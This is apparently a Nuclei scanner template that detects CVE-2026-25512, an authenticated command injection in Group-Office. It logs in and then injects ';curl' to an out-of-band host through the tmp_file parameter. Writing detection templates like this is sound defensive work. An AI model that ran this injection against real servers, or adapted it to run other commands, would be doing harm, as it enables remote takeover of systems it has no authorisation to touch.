id: CVE-2026-25512

info:
  name: Group-Office < 26.0.5 - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
  impact: |
    Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
  remediation: |
    Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
  reference:
    - https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4
    - https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25512
    - https://vulnerabletarget.com/VT-2026-25512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-25512
    cwe-id: CWE-78
    epss-score: 0.23825
    epss-percentile: 0.96094
  metadata:
    verified: true
    max-request: 2
    vendor: intermesh
    product: group-office
    shodan-query: title:"Group-Office"
    fofa-query: title="Group-Office"
  tags: cve,cve2026,groupoffice,rce,authenticated,oast

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?r=core/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: security_token
        part: body
        group: 1
        regex:
          - '"security_token":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4a0a004730450220399a9fc1f1d25bbd6c067ee2b32ff90859122a15d85091cb85371af2805c58d2022100ce07d4884e14daed00f54173f1ea63e7b63ad3c411e258dbe211a4c036fd66f8:922c64590222798bb761d5b6d8e72950